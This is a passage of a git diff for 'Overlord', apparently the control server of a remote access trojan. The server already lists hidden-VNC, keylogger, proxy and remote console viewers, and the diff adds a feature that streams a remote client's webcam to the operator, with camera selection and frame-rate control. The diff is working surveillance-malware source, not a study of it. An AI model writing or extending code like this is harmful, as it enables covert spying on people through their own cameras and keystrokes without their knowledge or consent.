"Streaming"); + } + + function handleFrame(data) { + const bytes = new Uint8Array(data); + if (bytes.length < 8) return; + if (bytes[0] !== 0x46 || bytes[1] !== 0x52 || bytes[2] !== 0x4d) return; + const format = bytes[6]; + const payload = bytes.slice(8); + if (!payload.length) return; + if (format === 1) { + drawJpeg(payload).catch((err) => { + console.warn("webcam draw failed", err, "payloadBytes=", payload.length); + }); + return; + } + if (format === 4) { + if (!ensureVideoDecoder()) { + setStreamState("error", "H264 decoder unavailable in browser"); + return; + } + try { + const isKey = isH264KeyFrame(payload); + const chunk = new EncodedVideoChunk({ + type: isKey ? "key" : "delta", + timestamp: h264TimestampUs, + data: payload, + }); + h264TimestampUs += 66_666; + videoDecoder.decode(chunk); + updateViewerFps(); + setStreamState("streaming", "Streaming"); + } catch (err) { + console.warn("webcam h264 decode failed", err, "payloadBytes=", payload.length); + } + return; + } + console.warn("webcam unsupported frame format", format, "payloadBytes=", payload.length); + } + + function send(type, payload = {}) { + if (!ws || ws.readyState !== WebSocket.OPEN) return; + ws.send(encodeMsgpack({ type, ...payload })); + } + + function handleControlMessage(msg) { + if (!msg || typeof msg !== "object") return; + if (msg.type === "webcam_devices") { + renderCameraList(msg.devices, msg.selected); + return; + } + if (msg.type === "ready") { + setStreamState("idle", "Ready"); + return; + } + if (msg.type === "status") { + if (msg.status === "offline") { + desiredStreaming = false; + setStreamState("offline", msg.reason || "Client offline"); + } else if (msg.status === "connecting") { + setStreamState("idle", "Ready"); + } else if (msg.status === "online") { + setStreamState("idle", "Ready"); + } + } + } + + function connect() { + const protocol = location.protocol === "https:" ? "wss://" : "ws://"; + ws = new WebSocket(`${protocol}${location.host}/api/clients/${clientId}/webcam/ws`); + ws.binaryType = "arraybuffer"; + setStreamState("connecting", "Connecting"); + + ws.onopen = () => { + requestCameraList(); + applyFpsSettings(); + if (desiredStreaming) { + send("webcam_start"); + setStreamState("starting", "Starting"); + } else { + setStreamState("idle", "Stopped"); + } + }; + + ws.onmessage = (event) => { + if (event.data instanceof ArrayBuffer) { + const bytes = new Uint8Array(event.data); + if (bytes.length >= 4 && bytes[0] === 0x46 && bytes[1] === 0x52 && bytes[2] === 0x4d) { + handleFrame(event.data); + return; + } + } + + const msg = decodeMsgpack(event.data); + handleControlMessage(msg); + }; + + ws.onclose = () => { + setStreamState("disconnected", "Disconnected"); + setTimeout(connect, 3000); + }; + + ws.onerror = () => { + setStreamState("error", "Connection error"); + }; + } + + startBtn.addEventListener("click", () => { + desiredStreaming = true; + applyFpsSettings(); + send("webcam_start"); + setStreamState("starting", "Starting"); + }); + + stopBtn.addEventListener("click", () => { + desiredStreaming = false; + send("webcam_stop"); + setStreamState("stopping", "Stopping"); + setTimeout(() => { + if (streamState === "stopping") { + setStreamState("idle", "Stopped"); + } + }, 300); + }); + + window.addEventListener("beforeunload", () => { + if (ws && ws.readyState === WebSocket.OPEN) { + send("webcam_stop"); + } + destroyVideoDecoder(); + }); + + refreshCameras.addEventListener("click", () => { + requestCameraList(); + }); + + cameraSelect.addEventListener("change", () => { + const index = Number(cameraSelect.value) || 0; + selectedDeviceIndex = index; + applyFpsInputLimits(); + send("webcam_select", { index }); + }); + + fpsInput.addEventListener("input", () => { + const maxFps = selectedDeviceMaxFps(); + const val = Number(fpsInput.value); + if (Number.isFinite(val) && val > maxFps) { + fpsInput.value = String(maxFps); + } + }); + + applyFps.addEventListener("click", () => { + applyFpsSettings(); + }); + + connect(); +})(); diff --git a/Overlord-Server/public/webcam.html b/Overlord-Server/public/webcam.html new file mode 100644 index 0000000..44fe559 --- /dev/null +++ b/Overlord-Server/public/webcam.html @@ -0,0 +1,105 @@ + + + + + + Overlord Webcam Viewer + + + + + + + + + + + +
+ +
+
+
+
+ + + +
+
+ + +
+
+ + +
+
+ + Connecting +
+
+ fps + -- +
+
+ +
+
+ Client: - +
+
+ +
+
+
+
+ + + + + + diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 09f2158..0701669 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -72,6 +72,9 @@ import { handleConsoleViewerOpen, handleHVNCViewerMessage, handleHVNCViewerOpen, + handleWebcamViewerMessage, + handleWebcamViewerOpen, + handleWebcamDevices, handleRemoteDesktopViewerMessage, handleRemoteDesktopViewerOpen, hvncStreamingState, @@ -79,6 +82,7 @@ import { notifyRdInputLatency, notifyRemoteDesktopStatus, rdStreamingState, + webcamStreamingState, sendDesktopCommand, sendHVNCCommand, stopConsoleOnTarget, @@ -238,7 +242,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({ savePluginState, }); -type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer"; +type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer"; type PendingScript = { resolve: (result: any) => void; @@ -358,9 +362,11 @@ async function startServer() { pendingCommandReplies, rdStreamingState, hvncStreamingState, + webcamStreamingState, getNotificationConfig, handleConsoleViewerOpen, handleRemoteDesktopViewerOpen, + handleWebcamViewerOpen, handleHVNCViewerOpen, handleFileBrowserViewerOpen, handleProcessViewerOpen, @@ -370,6 +376,7 @@ async function startServer() { handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen, handleConsoleViewerMessage, handleRemoteDesktopViewerMessage, + handleWebcamViewerMessage, handleHVNCViewerMessage, handleFileBrowserViewerMessage, handleProcessViewerMessage, @@ -395,6 +402,7 @@ async function startServer() { handlePluginEvent: notificationPluginHandlers.handlePluginEvent, handleNotification: notificationPluginHandlers.handleNotification, handleVoiceUplink, + handleWebcamDevices, cleanupVoiceViewer, stopConsoleOnTarget, sendDesktopCommand, diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 0bec2e6..8db46b1 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -12,6 +12,7 @@ export type MessageKind = | "status" | "plugin_event" | "notification" + | "webcam_devices" | "notification_config"; export type Hello = { @@ -43,6 +44,11 @@ export type CommandType = | "input" | "remote_start" | "remote_stop" + | "webcam_start" + | "webcam_stop" + | "webcam_list" + | "webcam_select" + | "webcam_set_fps" | "disconnect" | "reconnect" | "screenshot" @@ -108,6 +114,7 @@ export type FrameHeader = { format: "jpeg" | "webp" | "raw" | "h264"; hash?: string; hvnc?: boolean; + webcam?: boolean; }; export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array }; @@ -116,6 +123,18 @@ export type Status = { state: "idle" | "streaming" | "error"; detail?: string; }; + +export type WebcamDevice = { + index: number; + name: string; + maxFps?: number; +}; + +export type WebcamDevices = { + type: "webcam_devices"; + devices: WebcamDevice[]; + selected: number; +}; export type ConsoleOutput = { type: "console_output"; sessionId: string; diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts index 424ab27..dc4ce05 100644 --- a/Overlord-Server/src/server/routes/page-routes.ts +++ b/Overlord-Server/src/server/routes/page-routes.ts @@ -88,6 +88,30 @@ export async function handlePageRoutes( } } + if (req.method === "GET" && url.pathname === "/webcam") { + const user = await authenticateRequest(req); + if (!user) { + return serveLoginOrUnauthorized(deps); + } + + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + + const clientId = (url.searchParams.get("clientId") || "").trim(); + if (!canAccessClientPage(user.userId, user.role, clientId)) { + return new Response("Forbidden: Client access denied", { status: 403 }); + } + + const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) }); + } + } + if (req.method === "GET" && url.pathname === "/hvnc") { const user = await authenticateRequest(req); if (!user) { diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 0ec5805..fae1940 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -29,9 +29,11 @@ type WsLifecycleDeps = { pendingCommandReplies: Map; rdStreamingState: Map; hvncStreamingState: Map; + webcamStreamingState: Map; getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number }; handleConsoleViewerOpen: (ws: ServerWebSocket) => void; handleRemoteDesktopViewerOpen: (ws: ServerWebSocket) => void; + handleWebcamViewerOpen: (ws: ServerWebSocket) => void; handleHVNCViewerOpen: (ws: ServerWebSocket) => void; handleFileBrowserViewerOpen: (ws: ServerWebSocket) => void; handleProcessViewerOpen: (ws: ServerWebSocket) => void; @@ -41,6 +43,7 @@ type WsLifecycleDeps = { handleNotificationViewerOpen: (ws: ServerWebSocket) => void; handleConsoleViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleRemoteDesktopViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; + handleWebcamViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleHVNCViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleFileBrowserViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleProcessViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; @@ -67,6 +70,7 @@ type WsLifecycleDeps = { handlePluginEvent: (clientId: string, payload: any) => void; handleNotification: (clientId: string, payload: any) => void; handleVoiceUplink: (clientId: string, payload: any) => void; + handleWebcamDevices: (clientId: string, payload: any) => void; cleanupVoiceViewer: (ws: ServerWebSocket) => void; stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void; sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record) => void; @@ -82,6 +86,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif const ip = ws.data.ip; if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws); if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws); + if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws); if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws); if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws); if (role === "process_viewer") return deps.handleProcessViewerOpen(ws); @@ -140,6 +145,7 @@ export function handleWebSocketMessage( const socketRole = ws.data.role as string; if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message); if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message); + if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message); if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message); if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message); if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message); @@ -285,6 +291,9 @@ export function handleWebSocketMessage( case "voice_uplink": deps.handleVoiceUplink(info.id, payload); break; + case "webcam_devices": + deps.handleWebcamDevices(info.id, payload); + break; default: break; } @@ -332,6 +341,26 @@ export function handleWebSocketClose( return; } + if (role === "webcam_viewer") { + let removedClientId = clientId; + for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) { + if (sess.viewer === ws) { + removedClientId = sess.clientId; + sessionManager.getAllWebcamSessions().delete(sid); + break; + } + } + + const stillViewing = Array.from(sessionManager.getAllWebcamSessions().values()).some((s) => s.clientId === removedClientId); + if (!stillViewing) { + const target = clientManager.getClient(removedClientId); + deps.sendDesktopCommand(target, "webcam_stop", {}); + deps.webcamStreamingState.delete(removedClientId); + logger.debug(`[webcam] cleaned up state for client ${removedClientId}`); + } + return; + } + if (role === "hvnc_viewer") { let removedClientId = clientId; for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) { diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts index d56caa7..d0b79ca 100644 --- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts +++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts @@ -91,6 +91,24 @@ export async function handleWsUpgradeRoutes( return new Response("Upgrade failed", { status: 500 }); } + const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/); + if (webcamMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const clientId = webcamMatch[1]; + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/); if (fbMatch) { const user = await authenticateRequest(req); diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 5b40061..303e9dc 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -194,7 +194,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket) { safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); return; } - safeSendViewer(ws, { type: "status", status: "connecting", sessionId }); + safeSendViewer(ws, { type: "status", status: "online", sessionId }); } export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) { @@ -385,6 +385,86 @@ function handleRemoteDesktopFrame(payload: any) { }; export const hvncStreamingState = new Map(); +export const webcamStreamingState = new Map(); + +export function handleWebcamViewerOpen(ws: ServerWebSocket) { + const { clientId } = ws.data; + const sessionId = uuidv4(); + const target = clientManager.getClient(clientId); + const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; + sessionManager.getAllWebcamSessions().set(sessionId, session); + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); + return; + } + safeSendViewer(ws, { type: "status", status: "online", sessionId }); + sendDesktopCommand(target, "webcam_list", {}); +} + +export function handleWebcamDevices(clientId: string, payload: any) { + for (const session of sessionManager.getAllWebcamSessions().values()) { + if (session.clientId !== clientId) continue; + safeSendViewer(session.viewer, payload); + } +} + +export function handleWebcamViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { + const payload = decodeViewerPayload(raw); + if (!payload || typeof payload.type !== "string") return; + const { clientId } = ws.data; + const target = clientManager.getClient(clientId); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline" }); + return; + } + + const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false }; + switch (payload.type) { + case "webcam_list": + sendDesktopCommand(target, "webcam_list", {}); + break; + case "webcam_select": { + const index = Math.max(0, Number(payload.index) || 0); + state.deviceIndex = index; + webcamStreamingState.set(clientId, state); + sendDesktopCommand(target, "webcam_select", { index }); + if (state.isStreaming) { + sendDesktopCommand(target, "webcam_stop", {}); + sendDesktopCommand(target, "webcam_start", {}); + } + break; + } + case "webcam_set_fps": { + if (state.isStreaming) { + safeSendViewer(ws, { type: "status", status: "error", reason: "Stop stream before changing FPS" }); + break; + } + const fps = Math.max(1, Math.min(120, Number(payload.fps) || 30)); + const useMax = !!payload.useMax; + state.fps = fps; + state.useMax = useMax; + webcamStreamingState.set(clientId, state); + sendDesktopCommand(target, "webcam_set_fps", { fps, useMax }); + break; + } + case "webcam_start": + if (!state.isStreaming) { + sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax }); + sendDesktopCommand(target, "webcam_start", {}); + state.isStreaming = true; + webcamStreamingState.set(clientId, state); + } + break; + case "webcam_stop": + sendDesktopCommand(target, "webcam_stop", {}); + state.isStreaming = false; + webcamStreamingState.set(clientId, state); + break; + default: + break; + } +} export function handleHVNCViewerOpen(ws: ServerWebSocket) { const { clientId } = ws.data; @@ -518,6 +598,16 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload return sent; }; +(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { + let sent = false; + for (const session of sessionManager.getAllWebcamSessions().values()) { + if (session.clientId !== clientId) continue; + safeSendViewerFrame(session.viewer, bytes, header); + sent = true; + } + return sent; +}; + const textDecoder = new TextDecoder(); export function handleConsoleViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { diff --git a/Overlord-Server/src/sessions/sessionManager.ts b/Overlord-Server/src/sessions/sessionManager.ts index 2c121d9..0017e8c 100644 --- a/Overlord-Server/src/sessions/sessionManager.ts +++ b/Overlord-Server/src/sessions/sessionManager.ts @@ -12,6 +12,7 @@ import type { const consoleSessions = new Map(); const rdSessions = new Map(); +const webcamSessions = new Map(); const hvncSessions = new Map(); // HVNC uses same structure as RD const fileBrowserSessions = new Map(); const processSessions = new Map(); @@ -48,6 +49,28 @@ export function addRdSession(session: RemoteDesktopViewer): void { rdSessions.set(session.id, session); } +export function addWebcamSession(session: RemoteDesktopViewer): void { + webcamSessions.set(session.id, session); +} + +export function getWebcamSession( + sessionId: string, +): RemoteDesktopViewer | undefined { + return webcamSessions.get(sessionId); +} + +export function deleteWebcamSession(sessionId: string): boolean { + return webcamSessions.delete(sessionId); +} + +export function getWebcamSessionsByClient(clientId: string): RemoteDesktopViewer[] { + return Array.from(webcamSessions.values()).filter((s) => s.clientId === clientId); +} + +export function getAllWebcamSessions(): Map { + return webcamSessions; +} + export function getRdSession( sessionId: string, ): RemoteDesktopViewer | undefined { diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts index 7e22d53..95064df 100644 --- a/Overlord-Server/src/sessions/types.ts +++ b/Overlord-Server/src/sessions/types.ts @@ -5,6 +5,7 @@ export type SocketRole = | ClientRole | "console_viewer" | "rd_viewer" + | "webcam_viewer" | "file_browser_viewer" | "process_viewer" | "notifications_viewer" diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index 389ab50..0c28f10 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -140,7 +140,14 @@ export function handleFrame(info: ClientInfo, payload: any) { let sentToViewers = false; try { const globalAny: any = globalThis as any; - if (header?.hvnc) { + if (header?.webcam) { + if (globalAny.__webcamBroadcast) { + sentToViewers = globalAny.__webcamBroadcast(info.id, bytes, header); + } + if (sentToViewers) { + return; + } + } else if (header?.hvnc) { if (globalAny.__hvncBroadcast) { sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header); } diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts index 855ac28..b768c7d 100644 --- a/Overlord-Server/src/wsValidation.ts +++ b/Overlord-Server/src/wsValidation.ts @@ -1,4 +1,4 @@ -export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer"; +export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer"; export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "hello", @@ -24,6 +24,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "keylog_clear_result", "keylog_delete_result", "voice_uplink", + "webcam_devices", ]); export function isAllowedClientMessageType(type: string): boolean { diff --git a/go.work.sum b/go.work.sum index 7da36e6..f65d61d 100644 --- a/go.work.sum +++ b/go.work.sum @@ -1,6 +1,4 @@ -github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU= -github.com/gen2brain/x264-go v0.3.1/go.mod h1:+Z4VKXQrUKzbfEv36GyiyjXfixmOp2c820ugsMthW18= github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg= github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA= -github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj94EWVZRp1jTmEiIxmvjEiSb9fJl2xftrXY= -github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/start-dev.bat b/start-dev.bat index a36c761..3d576b0 100644 --- a/start-dev.bat +++ b/start-dev.bat @@ -28,7 +28,7 @@ set OVERLORD_DISABLE_AGENT_AUTH=true set LOG_LEVEL=debug start "Overlord-Server" cmd /k "cd /d %ROOT%Overlord-Server && set OVERLORD_DISABLE_AGENT_AUTH=true && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set LOG_LEVEL=debug && set NODE_ENV=development && bun install && bun run start" -timeout /t 1 /nobreak >nul +timeout /t 2 /nobreak >nul start "Overlord-Client" cmd /k "cd /d %ROOT%Overlord-Client && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent" echo Done. Terminals stay open (/k) for logs.